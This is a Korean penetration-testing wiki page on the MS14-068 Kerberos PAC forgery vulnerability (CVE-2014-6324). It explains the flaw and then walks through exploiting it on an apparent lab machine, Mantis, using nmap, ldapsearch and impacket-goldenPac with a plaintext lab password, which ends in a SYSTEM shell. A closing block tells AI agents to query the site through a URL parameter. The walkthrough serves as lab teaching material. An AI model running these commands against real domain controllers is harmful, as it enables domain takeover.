# MS14-068

MS14-068은 2014년 10월에 발표된 MS의 Kerberos 인증 취약점입니다. 원래 Kerberoas 인증에서 Golden-Ticket은 KDC의 Key를 관리하는 krbtgt의 NT Hash를 알아야만 획득할 수 있지만, 이 취약점을 이용하면 krbtgt의 NT Hash 정보가 없더라도 Golden-Ticket을 획득할 수 있습니다.

* 출시일 : 2014년 10월
* CVE 번호 : CVE-2014-6324
* 영향 받는 시스템
  * Windows Vista
  * Windows Server 2008
  * Windows Server 2008 R2
  * Windows Server 2012
  * Windows Server 2012 R2
  * Windows 7
  * Windows 8
  * Windows RT
  * Windows 8.1
  * Windows 10
* 대응 방안 : Windows 패치 적용

취약점이 발생한 근본적인 이유는 PAC에 대한 KDC의 검증 로직 미흡이었습니다. TGT를 전송하며 TGS REQ를 할 때 PAC도 같이 KDC에 전송이 되는데 이때 KDC에서는 PAC에 대한 검증을 하지 않고 TGT의 무결성에 대해서만 검증을 수행했습니다. 따라서 시나리오에서 공격자는 PAC이 포함되지 않은 AS-REQ를 한 뒤에 TGS-REQ에서는 MD5와 같은 해쉬 알고리즘을 사용하여 위조한 PAC 정보를 전송합니다.

<figure><img src="/files/VSjqXXjYHewOAdWgCuLO" alt="" width="563"><figcaption><p><a href="https://redfoxsec.com/blog/kerberos-attacks-part-2/">https://redfoxsec.com/blog/kerberos-attacks-part-2/</a></p></figcaption></figure>

PAC에 대한 검증이 없었으니 공격자가 위조한 높은 권한을 가진 ST이 발급되고 공격자는 ST을 통해 높은 권한의 사용자 서비스를 이용할 수 있습니다. ST만 가지고 권한상승을 할 수 있는 이유는 ST을 패스워드 대신 사용하여 서비스 접근이 가능한 Pass The Ticket 때문입니다. 마치 NT Hash를 패스워드와 같이 사용하는 Pass The Hash와 유사합니다. 단 공격이 성공하기 위해서는 2가지 조건이 필요합니다.

1. MS14-068에 취약한 환경
2. Active Directory 내의 사용자 계정 정보

## Practice

```
┌──(root㉿kali)-[~/Pentest/Machine]        
└─# cat detail               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 06:49 UTC
Nmap scan report for 10.10.10.52
Host is up (0.073s latency).               
                                            
PORT      STATE SERVICE      VERSION                                                    
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
| dns-nsid:                            
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)    
```

서버는 Active Directory 환경의 Windows Server 2008 R2를 사용합니다. OS 버전 자체는 MS14-068에 취약하기 때문에 사용자 계정을 획득한다면 impacket-golenpac 모듈을 사용하여 권한상승이 가능합니다. MS14-068을 사용하기 위해서는 FQDN이 요구되어 ldapsearch를 통해 정보를 수집합니다.

```jsx
┌──(root㉿kali)-[~/Pentest/Machine]
└─# ldapsearch -x -H ldap://10.10.10.52 -s base | grep serverName:
serverName: CN=MANTIS,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Config
```

FQDN이 MANTIS.htb.local이라는 정보를 수집했습니다. 원활한 사용을 위해서 /etc/hosts파일에 도메인 정보를 매핑시켜줍니다.

```
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.10.10.52     mantis htb.local mantis.htb.local
```

획득한 사용자 계정을 토대로 PAC를 높은 권한으로 위조하여 골든 티켓을 획득하는 goldenPac 모듈을 사용하여 시스템 권한을 획득합니다.

```jsx
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-goldenPac 'htb.local/james:J@m3s_P@ssW0rd!@mantis'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.....
[*] Found writable share ADMIN$
[*] Uploading file NRuVrvIL.exe
[*] Opening SVCManager on mantis.....
[*] Creating service FdAs on mantis.....
[*] Starting service FdAs.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

## References

{% embed url="<https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2014/ms14-068>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/ms14-068>" %}

{% embed url="<https://tools.thehacker.recipes/impacket/examples/goldenpac.py>" %}

{% embed url="<https://www.beyondtrust.com/resources/glossary/what-are-pass-the-ticket-attacks>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/privilege-escalation/active-directory/ms14-068.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
